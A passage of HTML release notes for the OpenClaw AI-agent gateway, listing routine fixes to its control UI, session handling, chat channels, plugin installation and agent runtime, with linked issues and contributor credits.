<p>Plugins/source checkout: discover source-only plugins such as Codex from the <code>extensions/*</code> workspace while using npm package excludes as the packaged-core boundary, removing the stale core-bundle metadata path.</p>
</li>
<li>
<p>Plugins/ClawHub: install ClawPack artifacts from the explicit npm-pack <code>.tgz</code> resolver path and persist artifact kind, npm integrity, shasum, and tarball metadata for update and diagnostics flows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI: allow deployments to configure grouped chat message max-width with a validated <code>gateway.controlUi.chatMessageMaxWidth</code> setting instead of patching bundled CSS after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279800285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67935" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67935/hovercard" href="https://github.com/openclaw/openclaw/issues/67935">#67935</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiew4589-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiew4589-lang">@xiew4589-lang</a>.</p>
</li>
<li>
<p>Control UI/Cron: ignore malformed persisted cron rows without valid payloads before they enter UI state and guard stale cron render paths, preventing blank Control UI sections after a bad cron snapshot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141837644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55047" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55047/hovercard" href="https://github.com/openclaw/openclaw/issues/55047">#55047</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134780011" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54439" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54439/hovercard" href="https://github.com/openclaw/openclaw/issues/54439">#54439</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136558129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54550" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54550/hovercard" href="https://github.com/openclaw/openclaw/pull/54550">#54550</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136644421" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54552/hovercard" href="https://github.com/openclaw/openclaw/pull/54552">#54552</a>.</p>
</li>
<li>
<p>Control UI/sessions: bound the default Sessions tab query to recent activity and fewer rows, avoiding expensive full-history loads while keeping filters editable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76050/hovercard" href="https://github.com/openclaw/openclaw/issues/76050">#76050</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76051" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76051/hovercard" href="https://github.com/openclaw/openclaw/pull/76051">#76051</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neomail2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neomail2">@Neomail2</a>.</p>
</li>
<li>
<p>Gateway/channels: cap startup fanout at four channel/account handoffs and recover from Bonjour ciao self-probe races, reducing Windows startup stalls with many Telegram accounts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364841887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75687/hovercard" href="https://github.com/openclaw/openclaw/issues/75687">#75687</a>.</p>
</li>
<li>
<p>Gateway/sessions: keep <code>sessions.list</code> polling responsive on large session stores by reusing list-safe session cache/indexes and returning a lightweight compaction checkpoint preview instead of heavyweight summaries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rolandrscheel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rolandrscheel">@rolandrscheel</a>.</p>
</li>
<li>
<p>Control UI/Gateway: keep long-running dashboard WebSocket sessions alive with protocol pings and keep Stop available after reconnect or reload by recovering session-scoped active-run abort state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321259716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70991" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70991/hovercard" href="https://github.com/openclaw/openclaw/issues/70991">#70991</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>.</p>
</li>
<li>
<p>CLI/update: treat inherited Gateway service markers as origin hints and only block package replacement when the managed Gateway is still live, so self-updates can stop the service and continue safely. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365329462" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75729" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75729/hovercard" href="https://github.com/openclaw/openclaw/pull/75729">#75729</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</p>
</li>
<li>
<p>Agents/failover: exempt run-level timeouts that fire during tool execution from model fallback, timeout-triggered compaction, and generic timeout payload synthesis, avoiding misleading "LLM request timed out" errors after the primary model has already responded. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115327379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52147" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52147/hovercard" href="https://github.com/openclaw/openclaw/issues/52147">#52147</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367303713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75873/hovercard" href="https://github.com/openclaw/openclaw/pull/75873">#75873</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simonusa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simonusa">@simonusa</a>.</p>
</li>
<li>
<p>Docker: copy Bun 1.3.13 from a digest-pinned image and keep CI on the same version. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350919036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74356" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74356/hovercard" href="https://github.com/openclaw/openclaw/issues/74356">#74356</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Agents/compaction: keep prior context on consecutive turns against z.ai-style providers (z.ai direct, openrouter z-ai/*, in-house GLM gateways), avoiding accidental Pi state reset after successful turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368789014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76056/hovercard" href="https://github.com/openclaw/openclaw/pull/76056">#76056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Doctor/plugins: run a one-time 2026.5.2 configured-plugin install repair based on <code>meta.lastTouchedVersion</code>, installing actively used downloadable OpenClaw plugins through the configured external source before marking the config touched for the release.</p>
</li>
<li>
<p>Sessions/transcripts: use one <code>session.writeLock.acquireTimeoutMs</code> policy for session transcript lock acquisitions and raise the default wait to 60 seconds, avoiding user-visible lock timeouts during legitimate slow prep, cleanup, compaction, and mirror work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75894" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75894/hovercard" href="https://github.com/openclaw/openclaw/issues/75894">#75894</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shandutta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shandutta">@shandutta</a>.</p>
</li>
<li>
<p>Control UI: contain the standalone iOS PWA viewport with safe-area-aware document locking, so Add-to-Home-Screen launches cannot scroll past the device bounds. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368888109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76072" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76072/hovercard" href="https://github.com/openclaw/openclaw/pull/76072">#76072</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kvncrw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kvncrw">@kvncrw</a>.</p>
</li>
<li>
<p>Agents/restart recovery: match cleaned transcript locks by exact transcript lock paths plus the canonical session fallback, so interrupted main sessions using topic-suffixed transcripts resume after gateway restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368769053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76052" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76052/hovercard" href="https://github.com/openclaw/openclaw/pull/76052">#76052</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</p>
</li>
<li>
<p>Agents/runtime: cache the stable system-prompt prefix and reuse prompt-report tool schema stats during dispatch prep, reducing repeated CPU work before streaming starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368424894" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75999/hovercard" href="https://github.com/openclaw/openclaw/issues/75999">#75999</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368807955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76061" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76061/hovercard" href="https://github.com/openclaw/openclaw/issues/76061">#76061</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zackchiutw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zackchiutw">@zackchiutw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/STLI69/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/STLI69">@STLI69</a>.</p>
</li>
<li>
<p>Control UI/WebChat: use high-contrast text selection colors so highlighted chat text stays visible across themes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204728608" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60850/hovercard" href="https://github.com/openclaw/openclaw/issues/60850">#60850</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204759217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60854/hovercard" href="https://github.com/openclaw/openclaw/pull/60854">#60854</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Badschaff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Badschaff">@Badschaff</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>.</p>
</li>
<li>
<p>Telegram/native commands: pass persisted session files into plugin commands for topic-bound sessions, so <code>/codex bind</code> works from Telegram forum topics. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367067083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75845/hovercard" href="https://github.com/openclaw/openclaw/pull/75845">#75845</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368766599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76049/hovercard" href="https://github.com/openclaw/openclaw/pull/76049">#76049</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MatthewSchleder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MatthewSchleder">@MatthewSchleder</a>.</p>
</li>
<li>
<p>Security audit/plugins: ignore plugin install backup, disabled, and dependency debris directories when enumerating installed plugin roots, avoiding false-positive findings for <code>.openclaw-install-backups</code> after plugin updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363085900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75456" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75456/hovercard" href="https://github.com/openclaw/openclaw/issues/75456">#75456</a>.</p>
</li>
<li>
<p>Telegram: honor runtime conversation bindings for native slash commands in bound top-level groups, so commands like <code>/status@bot</code> route to the active non-<code>main</code> session instead of falling back to the default route. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362659532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75405/hovercard" href="https://github.com/openclaw/openclaw/issues/75405">#75405</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363728120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75558" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75558/hovercard" href="https://github.com/openclaw/openclaw/pull/75558">#75558</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ziptbm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ziptbm">@ziptbm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</p>
</li>
<li>
<p>Gateway/tasks: make task registry maintenance use pass-local backing-session lookups and fresh active child-session indexes, avoiding repeated full task snapshots and session-store clones on large stale registries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342683931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73517/hovercard" href="https://github.com/openclaw/openclaw/issues/73517">#73517</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365145364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75708/hovercard" href="https://github.com/openclaw/openclaw/issues/75708">#75708</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351414705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74406" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74406/hovercard" href="https://github.com/openclaw/openclaw/pull/74406">#74406</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365146597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75709/hovercard" href="https://github.com/openclaw/openclaw/pull/75709">#75709</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lightningxxl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lightningxxl">@Lightningxxl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glfruit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glfruit">@glfruit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jared-rebel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jared-rebel">@jared-rebel</a>.</p>
</li>
<li>
<p>Auth/sessions: JSON-clone auth-profile cache/runtime snapshots and remaining session cleanup previews instead of using <code>structuredClone</code>, preserving mutation isolation while avoiding native-memory growth on large stores. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4073238042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45438/hovercard" href="https://github.com/openclaw/openclaw/issues/45438">#45438</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markus-lassfolk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markus-lassfolk">@markus-lassfolk</a>.</p>
</li>
<li>
<p>Models CLI: restore <code>openclaw models list --provider &lt;id&gt;</code> catalog and registry fallback rows for unconfigured providers, so provider-specific verification commands no longer report "No models found." Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363447158" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75517/hovercard" href="https://github.com/openclaw/openclaw/issues/75517">#75517</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364131001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75615/hovercard" href="https://github.com/openclaw/openclaw/pull/75615">#75615</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lotsoftick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lotsoftick">@lotsoftick</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</p>
</li>
<li>
<p>Gateway/macOS: write LaunchAgent services with a canonical system PATH and stop preserving old plist PATH entries, so Volta, asdf, fnm, and pnpm shell paths no longer affect gateway child-process Node resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360722639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75233" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75233/hovercard" href="https://github.com/openclaw/openclaw/issues/75233">#75233</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360954515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75246/hovercard" href="https://github.com/openclaw/openclaw/pull/75246">#75246</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nphyde2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nphyde2">@nphyde2</a>.</p>
</li>
<li>
<p>Slack/hooks: preserve bot alert attachment text in message-received hook content when command text is blank. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368641515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76035" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76035/hovercard" href="https://github.com/openclaw/openclaw/issues/76035">#76035</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368643379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76036" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76036/hovercard" href="https://github.com/openclaw/openclaw/pull/76036">#76036</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amsminn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amsminn">@amsminn</a>.</p>
</li>
<li>
<p>Sessions/agents: route Gateway session-store writes, CLI cleanup maintenance, and agent-delete session purges through a dedicated in-process writer and borrow the validated mutable cache during the writer slot, avoiding runtime file locks plus repeated <code>sessions.json</code> rereads and JSON clones on hot metadata updates. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288028893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68554/hovercard" href="https://github.com/openclaw/openclaw/pull/68554">#68554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/henkterharmsel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/henkterharmsel">@henkterharmsel</a>.</p>
</li>
<li>
<p>Control UI/chat: show inline feedback when local slash-command dispatch is unavailable or fails unexpectedly instead of clearing the composer silently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115024686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52105" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52105/hovercard" href="https://github.com/openclaw/openclaw/issues/52105">#52105</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MooreQiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MooreQiao">@MooreQiao</a>.</p>
</li>
<li>
<p>Memory/markdown: replace CRLF managed blocks in place and collapse duplicate marker blocks without rewriting unmanaged markdown, so Dreaming and Memory Wiki files self-heal from repeated generated sections. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363293115" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75491/hovercard" href="https://github.com/openclaw/openclaw/issues/75491">#75491</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363308439" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75495/hovercard" href="https://github.com/openclaw/openclaw/pull/75495">#75495</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366593323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75810" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75810/hovercard" href="https://github.com/openclaw/openclaw/pull/75810">#75810</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368473075" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76008" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76008/hovercard" href="https://github.com/openclaw/openclaw/pull/76008">#76008</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asaenokkostya-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asaenokkostya-coder">@asaenokkostya-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ottodeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ottodeng">@ottodeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everettjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everettjf">@everettjf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lrg913427-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lrg913427-dot">@lrg913427-dot</a>.</p>
</li>
<li>
<p>Agents/tools: return critical tool-loop circuit-breaker stops as blocked tool results instead of thrown tool failures, so models see the guardrail and stop retrying the same call. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rayraiser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rayraiser">@rayraiser</a>.</p>
</li>
<li>
<p>Agents/sessions: preserve pre-existing runtime model and context window after heartbeat turns so a per-run heartbeat model override does not bleed into shared-session status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363070391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75452" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75452/hovercard" href="https://github.com/openclaw/openclaw/issues/75452">#75452</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>Model commands: clarify direct and inline <code>/model</code> acknowledgements for non-default selections as session-scoped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/addu2612/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/addu2612">@addu2612</a>.</p>
</li>
<li>
<p>Doctor/gateway: stop warning that non-existent, unconfigured user-bin directories are required in the Gateway service PATH. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368545711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76017/hovercard" href="https://github.com/openclaw/openclaw/issues/76017">#76017</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/xiphis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiphis">@xiphis</a>.</p>
</li>
<li>
<p>TUI/chat: skip full provider model normalization during context-window warmup while preserving provider-owned context metadata, avoiding cold-start stalls with large model registries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/547895019/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/547895019">@547895019</a>.</p>
</li>
<li>
<p>Agents: enable malformed tool-call argument repair for Codex and Azure OpenAI Responses transports while keeping generic OpenAI Responses paths out of the repair gate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359521991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75154" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75154/hovercard" href="https://github.com/openclaw/openclaw/issues/75154">#75154</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nimraakram22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nimraakram22">@Nimraakram22</a>.</p>
</li>
<li>
<p>Memory Wiki: accept relative Markdown links that include the <code>.md</code> suffix during broken-wikilink validation, avoiding false positives for native render-mode links. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenneth8128/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenneth8128">@Kenneth8128</a>.</p>
</li>
<li>
<p>OpenAI Codex: show the device-pairing code in the interactive SSH/headless prompt while keeping the short-lived code out of persistent runtime logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348981712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74212" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74212/hovercard" href="https://github.com/openclaw/openclaw/issues/74212">#74212</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/da22le123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/da22le123">@da22le123</a>.</p>
</li>
<li>
<p>QA Lab: stop gateway children when the suite parent disappears, so interrupted local QA runs cannot leave hot orphaned gateways behind.</p>
</li>
<li>
<p>Codex/app-server: tolerate a second connection close during startup recovery and include retry counts plus stringified errors in the restart warning, so concurrent lanes do not fail after one shared-client race.</p>
</li>
<li>
